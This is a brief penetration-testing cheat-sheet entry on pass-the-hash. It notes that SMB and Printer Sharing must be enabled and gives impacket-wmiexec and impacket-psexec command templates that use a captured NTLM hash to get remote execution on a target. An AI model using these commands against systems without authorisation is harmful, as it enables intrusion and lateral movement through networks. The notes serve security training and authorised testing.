Pass-the-Hash

Pass-the-hash requires SMB and Printer Sharing feature to be enabled (common)

Already detailed in 3 - Authentication Attack

impacket-wmiexec -hashes :<HASH> <USER>@<TARGET-IP>
# other version
impacket-psexec -hashes 00000000000000000000000000000000:<HASH> <USER>@<TARGET-IP>